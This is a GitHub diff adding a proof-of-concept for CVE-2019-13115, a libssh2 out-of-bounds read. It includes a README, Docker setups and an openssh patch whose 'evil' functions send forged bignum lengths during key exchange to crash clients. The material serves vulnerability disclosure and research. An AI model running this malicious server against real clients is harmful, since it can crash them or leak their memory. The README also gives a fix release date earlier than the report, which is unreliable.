Skip to content
This repository was archived by the owner on Dec 18, 2019. It is now read-only.
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
80 changes: 80 additions & 0 deletions libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# Out-of-bounds read in libssh2 (CVE-2019-13115)

[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20.

This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client.

I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function:

```
int _libssh2_check_length(struct string_buf *buf, size_t len)
{
return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0;
}
```

The above code snippet is from revision [38bf7ce](https://github.com/libssh2/libssh2/blob/38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa/src/misc.c#L814). The PoC works by making `len` greater than `buf->len + 0x80000000` so that the calculation of `(int)(buf->len - len)` overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that `_libssh2_check_length` was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of `len` can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named `evil_offset` in [`diff.txt`](server/home/diff.txt#L53) and change its value to something smaller.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network
```

## Server setup

Build the docker image:

```
docker build server -t libssh2-server --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server
```

Start the malicious ssh server:

```
sudo /usr/local/sbin/sshd # password is x
```

## Client setup

Build the docker image:

```
docker build client -t libssh2-client --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client
```

If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments:

```
docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client
```

In the container, attempt to connect to the server:

```
cd ~/libssh2/example
./ssh2 172.18.0.10 hal x
```

This command crashes with a segmentation fault.

If you would like to debug libssh2 with gdb, then start it like this:

```
cd ~/libssh2/example/.libs
LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x
```
33 changes: 33 additions & 0 deletions libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
sudo tmux screen emacs git gdb net-tools psmisc \
build-essential autoconf automake libtool g++ \
libssl-dev

ARG UID=1000

# Create a non-root user account to run Libssh2.
RUN adduser victim --disabled-password --uid $UID

# Grant the 'victim' user sudo access. This is not used for the
# demo, but it is often handy for installing extra packages.
RUN adduser victim sudo
RUN echo "victim:x" | chpasswd
COPY home/ /home/victim/
RUN chown -R victim:victim /home/victim

# Switch over to the 'victim' user, since root access is no longer required
USER victim
WORKDIR /home/victim

# Checkout and build libssh2-1.8.2 (commit 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb).
# Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa,
# which is the commit which contained the bad implementation of _libssh2_check_length.
RUN git clone https://github.com/libssh2/libssh2.git && \
cd libssh2 && \
git checkout 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb && \
./buildconf && \
./configure && \
make -j4
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Enable 256 colors
set -g default-terminal "screen-256color"

# Enable using the mouse to switch windows.
set -g mouse on

# Don't lose track of SSH_AGENT etc. from parent environment.
set -g update-environment -r

# history buffer size
set-option -g history-limit 100000
44 changes: 44 additions & 0 deletions libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
sudo tmux screen emacs git gdb net-tools psmisc \
build-essential autoconf g++ \
libssl-dev zlib1g-dev

ARG UID=1000

# Create a non-root user account to build openssh-server.
RUN adduser hal --disabled-password --uid $UID

# Grant the 'hal' user sudo access. This is not used for the demo,
# but it is often handy for installing extra packages.
RUN adduser hal sudo
RUN echo "hal:x" | chpasswd
COPY home/ /home/hal/
RUN chown -R hal:hal /home/hal

# Create the sshd user
RUN mkdir /var/empty && \
chown root:sys /var/empty && \
chmod 755 /var/empty && \
groupadd sshd && \
useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd

# Switch over to the 'hal' user, since root access is no longer required
USER hal
WORKDIR /home/hal

# Clone openssh, insert some malicious code, and built it.
RUN git clone https://github.com/openssh/openssh-portable.git && \
cd openssh-portable && \
git checkout 21da87f439b48a85b951ef1518fe85ac0273e719 && \
git apply /home/hal/diff.txt && \
autoreconf && \
./configure && \
make

# Install openssh.
USER root
RUN cd /home/hal/openssh-portable && make install
USER hal
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Enable 256 colors
set -g default-terminal "screen-256color"

# Enable using the mouse to switch windows.
set -g mouse on

# Don't lose track of SSH_AGENT etc. from parent environment.
set -g update-environment -r

# history buffer size
set-option -g history-limit 100000
141 changes: 141 additions & 0 deletions libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,141 @@
diff --git a/kexgexs.c b/kexgexs.c
index 8ee3aacc..8f37c421 100644
--- a/kexgexs.c
+++ b/kexgexs.c
@@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh)
debug("SSH2_MSG_KEX_DH_GEX_GROUP sent");
DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g);
if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 ||
- (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 ||
- (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 ||
+ (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 ||
+ (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 ||
(r = sshpkt_send(ssh)) != 0)
goto out;

diff --git a/packet.c b/packet.c
index 36e352b4..e4a1a06b 100644
--- a/packet.c
+++ b/packet.c
@@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v)
{
return sshbuf_put_bignum2(ssh->state->outgoing_packet, v);
}
+
+int
+sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v)
+{
+ return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v);
+}
#endif /* WITH_OPENSSL */

/* fetch data from the incoming packet */
diff --git a/packet.h b/packet.h
index 0dfa36da..93ea6c77 100644
--- a/packet.h
+++ b/packet.h
@@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v);
int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v);
int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g);
int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v);
+int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v);

int sshpkt_get(struct ssh *ssh, void *valp, size_t len);
int sshpkt_get_u8(struct ssh *ssh, u_char *valp);
diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c
index 50648258..34ec3be5 100644
--- a/sshbuf-getput-basic.c
+++ b/sshbuf-getput-basic.c
@@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len)
return 0;
}

+const size_t evil_offset = 0x80000200; // Edit evil offset here
+
+int
+sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len)
+{
+ u_char *d;
+ int r;
+
+ if (len > SSHBUF_SIZE_MAX - 4) {
+ SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE"));
+ return SSH_ERR_NO_BUFFER_SPACE;
+ }
+ if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0)
+ return r;
+ POKE_U32(d, len + evil_offset);
+ if (len != 0)
+ memcpy(d + 4, v, len);
+ return 0;
+}
+
int
sshbuf_put_cstring(struct sshbuf *buf, const char *v)
{
diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c
index 3dd1e144..cbf3977f 100644
--- a/sshbuf-getput-crypto.c
+++ b/sshbuf-getput-crypto.c
@@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v)
return 0;
}

+int
+sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v)
+{
+ u_char d[SSHBUF_MAX_BIGNUM + 1];
+ int len = BN_num_bytes(v), prepend = 0, r;
+
+ if (len < 0 || len > SSHBUF_MAX_BIGNUM)
+ return SSH_ERR_INVALID_ARGUMENT;
+ *d = '\0';
+ if (BN_bn2bin(v, d + 1) != len)
+ return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */
+ /* If MSB is set, prepend a \0 */
+ if (len > 0 && (d[1] & 0x80) != 0)
+ prepend = 1;
+ if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) {
+ explicit_bzero(d, sizeof(d));
+ return r;
+ }
+ explicit_bzero(d, sizeof(d));
+ return 0;
+}
+
#ifdef OPENSSL_HAS_ECC
int
sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g)
diff --git a/sshbuf.h b/sshbuf.h
index 7900b82b..f8632bcb 100644
--- a/sshbuf.h
+++ b/sshbuf.h
@@ -185,6 +185,7 @@ int sshbuf_get_string(struct sshbuf *buf, u_char **valp, size_t *lenp);
int sshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp);
int sshbuf_get_stringb(struct sshbuf *buf, struct sshbuf *v);
int sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len);
+int sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len);
int sshbuf_put_cstring(struct sshbuf *buf, const char *v);
int sshbuf_put_stringb(struct sshbuf *buf, const struct sshbuf *v);

@@ -214,6 +215,7 @@ int sshbuf_get_bignum2_bytes_direct(struct sshbuf *buf,
#ifdef WITH_OPENSSL
int sshbuf_get_bignum2(struct sshbuf *buf, BIGNUM **valp);
int sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v);
+int sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v);
# ifdef OPENSSL_HAS_ECC
int sshbuf_get_ec(struct sshbuf *buf, EC_POINT *v, const EC_GROUP *g);
int sshbuf_get_eckey(struct sshbuf *buf, EC_KEY *v);
diff --git a/sshd_config b/sshd_config
index 19b7c91a..82a08747 100644
--- a/sshd_config
+++ b/sshd_config
@@ -102,6 +102,8 @@ AuthorizedKeysFile .ssh/authorized_keys
#ChrootDirectory none
#VersionAddendum none

+KexAlgorithms diffie-hellman-group-exchange-sha256
+
# no default banner path
#Banner none